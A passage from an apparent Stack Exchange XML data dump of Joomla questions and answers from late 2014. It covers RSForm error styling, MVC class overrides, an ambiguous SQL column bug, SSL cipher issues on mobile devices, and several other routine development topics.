&amp;lt;div class=&quot;rsform-block rsform-block-email-address&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;formBody&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; class=&quot;rsform-input-box rsform-error&quot; onfocus=&quot;this.value=''&quot; id=&quot;email address&quot; name=&quot;form[email address]&quot; size=&quot;20&quot; value=&quot;email address&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;rsform-block rsform-block-pubsupplier&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;formBody&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; id=&quot;PubSupplier0&quot; value=&quot;I work in a pub&quot; name=&quot;form[PubSupplier][]&quot;&amp;gt;&amp;lt;label for=&quot;PubSupplier0&quot;&amp;gt;I work in a pub&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;checkbox&quot; id=&quot;PubSupplier1&quot; value=&quot;I am a supplier&quot; name=&quot;form[PubSupplier][]&quot;&amp;gt;&amp;lt;label for=&quot;PubSupplier1&quot;&amp;gt;I am a supplier&amp;lt;/label&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;rsform-block rsform-block-over-18&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;formBody&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; id=&quot;Over 180&quot; value=&quot;I confirm I'm over 18&quot; name=&quot;form[Over 18][]&quot;&amp;gt;&amp;lt;label for=&quot;Over 180&quot;&amp;gt;I confirm I'm over 18&amp;lt;/label&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;span class=&quot;formValidation&quot;&amp;gt;&amp;lt;span class=&quot;formError&quot; id=&quot;component48&quot;&amp;gt;Please enter a valid email address&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&#xA;&amp;lt;span class=&quot;formValidation&quot;&amp;gt;&amp;lt;span class=&quot;formError&quot; id=&quot;component49&quot;&amp;gt;Please state you profession&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&#xA;&amp;lt;span class=&quot;formValidation&quot;&amp;gt;&amp;lt;span class=&quot;formError&quot; id=&quot;component50&quot;&amp;gt;Please confirm you are over 18.&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&#xA;    &amp;lt;div class=&quot;rsform-block rsform-block-subscribe&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;formBody&quot;&amp;gt;&amp;lt;input type=&quot;submit&quot; class=&quot;rsform-submit-button&quot; id=&quot;Subscribe&quot; name=&quot;form[Subscribe]&quot; value=&quot;Subscribe&quot;&amp;gt;&amp;lt;span class=&quot;formValidation&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;5&quot; name=&quot;form[formId]&quot;&amp;gt;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When the error Please complete all required fields!&lt;/p&gt; is shown I want the form class to be updated (or at least a class appended to it).&lt;/p&gt;&#xA;" OwnerUserId="294" LastEditorUserId="294" LastEditDate="2014-11-28T10:50:08.483" LastActivityDate="2014-11-28T11:08:48.043" Title="RSForm!Pro Update form class if the error message shown" Tags="|jquery|rsform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5453" PostTypeId="2" ParentId="5452" CreationDate="2014-11-28T09:52:25.090" Score="1" Body="&lt;p&gt;Not sure how RSForm!Pro shows an errors message, but I assume there is a pre-defined HTML element with a class that is set to &lt;code&gt;display: block&lt;/code&gt; if there is an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I would suggest doing is, make the error appear, then inspect the error element and check for any classes, then you can use the following jQuery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($){&#xA;&#xA;    var errorMsg = $('.formError');&#xA;&#xA;    if( errorMsg.is(':visible') ){          &#xA;        errorMsg.parents('.formResponsive').addClass('something');          &#xA;    } &#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-11-28T11:08:48.043" LastActivityDate="2014-11-28T11:08:48.043" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5454" PostTypeId="2" ParentId="5449" CreationDate="2014-11-28T10:19:58.087" Score="3" Body="&lt;p&gt;Funny, I just finished yesterday the implementation of this plugin in a site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A fellow webdev and I modified it for joomla 3.x and it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's here :&#xA;&lt;a href=&quot;https://github.com/ghazal/plg_mvcoverride&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ghazal/plg_mvcoverride&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It throws an error though when coupled with a nonumber.nl extension, &#xA;Advanced Module Manager:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Call to undefined method JModuleHelper::addIncludePath()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Being in a hurry, my very unelegant solution was to comment out the first function :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    public function onAfterInitialise()&#xA;    {&#xA;&#xA;    $moduleHelperContent = JFile::read(JPATH_LIBRARIES.'/cms/module/helper.php');&#xA;    $moduleHelperContent = str_replace('JModuleHelper', 'JModuleHelperLibraryDefault', $moduleHelperContent);&#xA;    $moduleHelperContent = str_replace('&amp;lt;?php','',$moduleHelperContent);&#xA;    eval($moduleHelperContent);&#xA;    jimport('joomla.application.module.helper');&#xA;    JLoader::register('jmodulehelper', dirname(__FILE__).'/module/helper.php', true);&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then, these 2 lines :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JModuleHelper::addIncludePath(JPATH_BASE.'/code/modules');&#xA;JModuleHelper::addIncludePath(JPATH_THEMES.'/'.$template.'/code/modules');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thus eliminating the possibility, in this case, to use it to override helper.php in a module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was about to post here to ask for help but you beat me to it.&lt;/p&gt;&#xA;" OwnerUserId="270" LastActivityDate="2014-11-28T10:19:58.087" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5455" PostTypeId="2" ParentId="5450" CreationDate="2014-11-28T10:23:03.267" Score="5" Body="&lt;p&gt;Switching on the template preview mode might help so you can at least see the module positions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will help you figure where to go (i.e. which module in module manager) to edit particular text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can enable template preview mode by appending &lt;code&gt;/index.php?tp=1&lt;/code&gt; to your domain name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 1.5 is quite old now. In newer versions of Joomla (especially the imminent version 3.4), much can be edited via the front-end where Joomla novices and experts alike need not be concerned about whether the text is an article, module or something else. All you need to know is how to click the edit button that appears once you are logged in with suitable authority.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2014-11-28T10:23:03.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5456" PostTypeId="1" CreationDate="2014-11-28T10:24:23.287" Score="4" ViewCount="539" Body="&lt;p&gt;On a site that I have been working on for a long time, I suddenly came across this issue. When I went to com_plugins to change settings on my plugins, I got the error below and the plugins list didn't show.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Column 'type' in where clause is ambiguous&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;SQL=SELECT COUNT(*)&#xA;  FROM `#__extensions` AS a LEFT JOIN #__users AS uc ON&#xA;  uc.id=a.checked_out LEFT JOIN #__viewlevels AS ag ON ag.id = a.access&#xA;  WHERE `type` = 'plugin' AND (a.enabled IN (0, 1)) AND a.state &gt;= 0&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Column 'type' in where clause is ambiguous&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;SQL=SELECT a.extension_id ,&#xA;  a.name, a.element, a.folder, a.checked_out, a.checked_out_time,&#xA;  a.enabled, a.access, a.ordering,uc.name AS editor,ag.title AS&#xA;  access_level FROM `#__extensions` AS a LEFT JOIN #__users AS uc ON&#xA;  uc.id=a.checked_out LEFT JOIN #__viewlevels AS ag ON ag.id = a.access&#xA;  WHERE `type` = 'plugin' AND (a.enabled IN (0, 1)) AND a.state &gt;= 0&#xA;  ORDER BY `folder` asc,a.ordering ASC LIMIT 0, 20&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Column 'type' in&#xA;  where clause is ambiguous&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;SQL=SELECT COUNT(*) FROM `#__extensions` AS&#xA;  a LEFT JOIN #__users AS uc ON uc.id=a.checked_out LEFT JOIN #__viewlevels AS ag ON ag.id = a.access WHERE `type` = 'plugin' AND (a.enabled IN (0, 1)) AND a.state &gt;= 0&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;where type= 'plugin'&lt;/code&gt; clause is ambiguous. &#xA;I checked the plugins model of the com_plugins in a clean joomla installation, as well as in a few older versions of J3. The part of the code in question is at about line 211, in the &lt;code&gt;getListQuery()&lt;/code&gt; method. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Select the required fields from the table.&#xA;    $query-&amp;gt;select(&#xA;        $this-&amp;gt;getState(&#xA;            'list.select',&#xA;            'a.extension_id , a.name, a.element, a.folder, a.checked_out, a.checked_out_time,' .&#xA;                ' a.enabled, a.access, a.ordering'&#xA;        )&#xA;    )&#xA;        -&amp;gt;from($db-&amp;gt;quoteName('#__extensions') . ' AS a')&#xA;        -&amp;gt;where($db-&amp;gt;quoteName('type') . ' = ' . $db-&amp;gt;quote('plugin'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All installations come like this and the strange thing is that it was always working fine in any Joomla site, but suddenly not on this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running the same query directly in Joomla databases, it works for other Joomla db installations but not on this one, where it also gives the same error about the ambiguous column 'type' in the where.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing the query in the method from &lt;code&gt;where type = 'plugin'&lt;/code&gt; to &lt;code&gt;where a.type = 'plugin'&lt;/code&gt;, which makes sense since this is a joined list, and this way the type field is referencing its table, the issue is gone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone notice this kind of issue with the com_plugins?&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="12352" LastEditDate="2019-01-28T12:42:26.167" LastActivityDate="2019-01-28T13:19:20.097" Title="Administrator com_plugins issue/bug (?) - Error Column 'type' in where clause is ambiguous" Tags="|joomla-3.x|bugs|com-plugins|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="5458" PostTypeId="2" ParentId="205" CreationDate="2014-11-28T11:14:12.177" Score="5" Body="&lt;p&gt;For Joomla 3 users - check these. It will help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/5449/override-mvc-classes-in-joomla-3&quot;&gt;Override MVC classes in Joomla 3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugin - &lt;a href=&quot;https://github.com/ghazal/plg_mvcoverride&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/ghazal/plg_mvcoverride&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;a href=&quot;https://joomla.stackexchange.com/users/270/ghazal&quot;&gt;https://joomla.stackexchange.com/users/270/ghazal&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1773" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2014-11-28T11:14:12.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5459" PostTypeId="2" ParentId="5456" CreationDate="2014-11-28T11:40:29.287" Score="1" Body="&lt;p&gt;For aliasing a table, you replace your current code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;from($db-&amp;gt;quoteName('#__extensions') . ' AS a')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;from($db-&amp;gt;quoteName('#__extensions', 'a'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will automatically generate &lt;code&gt;AS a&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now seeing that you're using an alias, you need to replace:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;where($db-&amp;gt;quoteName('type')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;where($db-&amp;gt;quoteName('a.type')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-11-28T11:40:29.287" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="5460" PostTypeId="2" ParentId="5447" CreationDate="2014-11-28T12:24:11.693" Score="2" Body="&lt;p&gt;Yes, a layout override is the best solution at component level. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Component Alternative Layouts&lt;/strong&gt;&#xA;&lt;a href=&quot;http://docs.joomla.org/Layout_Overrides_in_Joomla#Component_Alternative_Layouts&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Layout_Overrides_in_Joomla#Component_Alternative_Layouts&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-11-28T12:24:11.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5461" PostTypeId="2" ParentId="5366" CreationDate="2014-11-28T18:03:56.003" Score="-3" Body="&lt;p&gt;Looks like the solution is CB autogroup + CB Conditional&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used CB Autogrup to lets users choose their preferred Group, and CB Conditional to set specific required fields based on the users choise. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Es.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Create in Joompa Group: GroupA and GroupB&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) create in CB fields fieldprofile -&gt; Group A, Group B&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use CB Autogrup to associate joomla Group and fieldprofile value&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use CB conditional to set the rules based on the fieldprofile value&lt;/p&gt;&#xA;&#xA;&lt;p&gt;es.: if fieldprofile value NOT GroupB than hide all GroupB related fields else shows as required all GroupB related fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read the plugin components docs for more info&lt;/p&gt;&#xA;" OwnerUserId="2251" LastEditorUserId="2251" LastEditDate="2014-11-30T06:53:49.270" LastActivityDate="2014-11-30T06:53:49.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5462" PostTypeId="1" AcceptedAnswerId="5463" CreationDate="2014-11-28T18:21:40.423" Score="3" ViewCount="618" Body="&lt;p&gt;Since this morning, I cannot reach my server webpage using any mobile device,  have no problem  accessing via PC.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;htaccess force https&lt;/li&gt;&#xA;&lt;li&gt;the certificate is SHA1 valid until 2015&lt;/li&gt;&#xA;&lt;li&gt;SSL disabled and TLS enabled&lt;/li&gt;&#xA;&lt;li&gt;No problem connecting via PC&lt;/li&gt;&#xA;&lt;li&gt;Problems accessing via smartphone (Android and Windows)&lt;/li&gt;&#xA;&lt;li&gt;No problem connecting using Iphone&lt;/li&gt;&#xA;&lt;li&gt;no info into Apache log&lt;/li&gt;&#xA;&lt;li&gt;no info into error log&lt;/li&gt;&#xA;&lt;li&gt;last month I applyed the poodle patch&lt;/li&gt;&#xA;&lt;li&gt;I'm testing a simple page with an OK output&lt;/li&gt;&#xA;&lt;li&gt;No error on the output page only a &quot;page not available try later or refresh message&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any tips?&lt;/p&gt;&#xA;" OwnerUserId="2251" LastActivityDate="2015-01-28T07:39:12.637" Title="Cannot access a web site via https using a mobile device (Windows and Android)" Tags="|server|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5463" PostTypeId="2" ParentId="5462" CreationDate="2014-11-28T19:05:21.433" Score="2" Body="&lt;p&gt;The problem was in the SSLCipherSuite, to resolve the poodle bug, as suggested, I had to disable the SSL protocol and modify the SSLCipherSuite.&#xA;The used SSLCipherSuite miss the Windows mobile and explorer 11 code, so i resolved using an updated SSLCipherSuite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the linked article mozilla suggest 3 different SSLCipherSuite based on browsers legacy compatibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here the solution:&#xA;&lt;a href=&quot;https://wiki.mozilla.org/Security/Server_Side_TLS#Apache&quot; rel=&quot;nofollow&quot;&gt;https://wiki.mozilla.org/Security/Server_Side_TLS#Apache&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="2251" LastEditorUserId="2251" LastEditDate="2014-11-29T06:46:36.477" LastActivityDate="2014-11-29T06:46:36.477" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5464" PostTypeId="2" ParentId="5229" CreationDate="2014-11-29T10:03:24.450" Score="1" Body="&lt;p&gt;If you look at the JImage implementation, it exposes no calls to &lt;code&gt;imagealphablending&lt;/code&gt; and other routines typically used to handle transparent images; but looking into the implementation of &lt;code&gt;resize()&lt;/code&gt; and &lt;code&gt;crop()&lt;/code&gt; it seems to be handling the transparency itself. So (if you're using Joomla 3.x) the code should work with transparent images already.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a use case where it doesn't work, and you're not trying to convert from or to &lt;code&gt;jpg&lt;/code&gt; (which of course doesn't support transparency in the first place), just add more info here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could point out that the issue may lie with the apparent errors in your code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;elseif ($mime = 'image/png')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you seem to be using one &quot;=&quot; instead of two &quot;==&quot;&lt;/p&gt;&#xA;" OwnerUserId="377" LastActivityDate="2014-11-29T10:03:24.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5465" PostTypeId="2" ParentId="4997" CreationDate="2014-11-29T10:48:42.393" Score="1" Body="&lt;p&gt;Your code is fine until the last three lines.  I am assuming this code is in the controller method whose name corresponds to the task parameter in the url paypal is invoking.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return $result;&#xA;&#xA;$app = JFactory::getApplication();&#xA;$app-&amp;gt;redirect(&quot;localhost/Joomla/&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should not be returning the result.  You're skipping the redirection part which is going to achieve your goal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you parse the result of a sensitive form, it is good practice to redirect so any refresh / reload won't trigger the same actions again.  But you're returning before the redirect is set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, I don't think redirecting to &quot;localhost/Joomla&quot; really makes sense, usually you would redirect implicitly with &lt;code&gt;setRedirect()&lt;/code&gt; to a view of your component where you show the payment details, and passing in a message to display to the user, just to let them know you processed the payment correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To sum it up, your code should end with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app-&amp;gt;setRedirect(JRoute::_(&quot;index.php?option=com_yourcomponent&amp;amp;view=paymentsuccess&quot;),JText::_(&quot;HAPPY_PAYMENT_MESSAGE&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with no returns;&lt;/p&gt;&#xA;" OwnerUserId="377" LastActivityDate="2014-11-29T10:48:42.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5467" PostTypeId="1" CreationDate="2014-11-29T12:23:02.720" Score="4" ViewCount="690" Body="&lt;p&gt;When I try to share anything from facebook, I get the default description:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;The Joomla! content management system lets you create webpages of various types using extensions. There are 5 basic types of extensions:&#xA;  components, modules,...&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;which I want to change. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under Global Configuration, Meta Deta Settings, I have already placed my own meta description. &lt;/p&gt;&#xA;" OwnerUserId="2203" LastEditorUserId="126" LastEditDate="2015-09-02T08:03:26.453" LastActivityDate="2015-09-02T08:03:26.453" Title="Facebook Share - Remove: &quot;The Joomla! content management system lets you create webpages...&quot;" Tags="|tags|seo|content|facebook|metadata|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5468" PostTypeId="1" CreationDate="2014-11-29T15:13:20.427" Score="5" ViewCount="89" Body="&lt;p&gt;I am working on new free compression plugin &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/youjoomla/jcompress&quot; rel=&quot;nofollow&quot;&gt;https://github.com/youjoomla/jcompress&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/youjoomla/jcompress/archive/master.zip&quot; rel=&quot;nofollow&quot;&gt;https://github.com/youjoomla/jcompress/archive/master.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and need some help in speeding things up. &#xA;The process of caching is fairly simple , &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Get everything in head tag  &lt;/li&gt;&#xA;&lt;li&gt;Separate the css files, js files, inline css and inline js  &lt;/li&gt;&#xA;&lt;li&gt;Parse all and minify   &lt;/li&gt;&#xA;&lt;li&gt;Replace the current head tag contents with new cached one. ( this is trouble )&lt;/li&gt;&#xA;&lt;li&gt;Check log for file changes, if there is change , delete the cache for that page and recreate it. &lt;/li&gt;&#xA;&lt;li&gt;Scan pages in admin back-end for fast cache creation&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Everything works , the pages scan , the compression , css image paths replacement , js and css minify , gzip , I mean everything . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trouble I have with and to me it seems like it is slowing the rendering down is &#xA;replaceFiles method &#xA;&lt;a href=&quot;https://github.com/youjoomla/jcompress/blob/master/jcompress.php#L567&quot; rel=&quot;nofollow&quot;&gt;https://github.com/youjoomla/jcompress/blob/master/jcompress.php#L567&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to get the head tag contents. I have to do all of this in &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;onAfterRender(){&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All methods you see in the plugin except &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;replaceFiles()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/youjoomla/jcompress/blob/master/jcompress.php#L567&quot; rel=&quot;nofollow&quot;&gt;https://github.com/youjoomla/jcompress/blob/master/jcompress.php#L567&lt;/a&gt;&#xA; and &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;checkLog()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/youjoomla/jcompress/blob/master/jcompress.php#L758&quot; rel=&quot;nofollow&quot;&gt;https://github.com/youjoomla/jcompress/blob/master/jcompress.php#L758&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;are killed if the cache file exists. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone take a sec and see if there is something I could do to speed up the replacement of the head contents. And please take a min and test it on your server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my local the things are flying. On my live &#xA;&lt;a href=&quot;http://stefanstojanovic.com/jcompress/&quot; rel=&quot;nofollow&quot;&gt;http://stefanstojanovic.com/jcompress/&lt;/a&gt;&#xA;I see a lag. &#xA;No bugs , no errors, all cached files created and served. &#xA;I hope is just my server but I am not sure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are few more test sites&#xA;&lt;a href=&quot;http://stefanstojanovic.com/jcompress3/&quot; rel=&quot;nofollow&quot;&gt;http://stefanstojanovic.com/jcompress3/&lt;/a&gt;&#xA;&lt;a href=&quot;http://stefanstojanovic.com/jcompress2/&quot; rel=&quot;nofollow&quot;&gt;http://stefanstojanovic.com/jcompress2/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see a lag on first load , for example here&#xA;&lt;a href=&quot;http://stefanstojanovic.com/jcompress3/index.php/breadcrumbs&quot; rel=&quot;nofollow&quot;&gt;http://stefanstojanovic.com/jcompress3/index.php/breadcrumbs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next load is 150% faster&#xA;It &quot;kinda&quot; does make sense since on second load cached css and js is coming from your cache but it should not be such a difference. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;*Update&lt;/strong&gt;: &#xA;In meantime I managed to speed it up a bit by only getting the head tag contents instead of the whole body but I still see the lag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One major difference I also see is between php 5.3 and 5.4 and up. &#xA;But still no errors on each.&lt;/p&gt;&#xA;" OwnerUserId="200" LastEditorUserId="200" LastEditDate="2014-12-01T17:28:41.720" LastActivityDate="2014-12-01T17:28:41.720" Title="Need some help optimizing new compression plugin" Tags="|plugin|joomla-framework-1.x|" AnswerCount="1" CommentCount="2" ClosedDate="2014-11-30T14:36:45.480" ContentLicense="CC BY-SA 3.0" />
  <row Id="5469" PostTypeId="1" AcceptedAnswerId="5470" CreationDate="2014-11-29T16:27:40.447" Score="10" ViewCount="2650" Body="&lt;p&gt;I have a requirement to generate a page/form based on the user's list of items.  As is, the user can specify a list of items that have a text description of the item, and whether it's a &lt;code&gt;text&lt;/code&gt; or &lt;code&gt;list&lt;/code&gt; field type.  (&lt;em&gt;Imagine a list of equipment that can be checked out, and the list of items to check varies by the type of equipment.  There are certainly some shared items, but they vary from equipment type, model, etc.&lt;/em&gt;).  So, instead of simply loading an existing XML file from the &lt;code&gt;models\forms\&lt;/code&gt; folder and running with it, can a new fieldset and a series of new fields be added on the fly.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How is that accomplished ?&lt;/li&gt;&#xA;&lt;li&gt;Where would be the correct place to do it so that MVC treats it as though it were in the &quot;standard&quot; form XML?&lt;/li&gt;&#xA;&lt;li&gt;How best to retrieve a list of those fields for displaying in the&#xA;View?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;models\myform.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$form = $this-&amp;gt;loadForm('com_mycomponent.myform', 'myform', array('control' =&amp;gt; 'jform', 'load_data' =&amp;gt; $loadData));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;controllers/myform.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get the user data.&#xA;$data = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('jform', array(), 'array');&#xA;&#xA;// Validate the posted data.&#xA;$form = $model-&amp;gt;getForm();&#xA;if (!$form) {&#xA;    JError::raiseError(500, $model-&amp;gt;getError());&#xA;    return false;&#xA;}&#xA;...&#xA;// Validate the posted data.&#xA;$data = $model-&amp;gt;validate($form, $data);&#xA;...&#xA;// Attempt to save the data.&#xA;$return = $model-&amp;gt;save($data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-11-29T17:42:55.463" 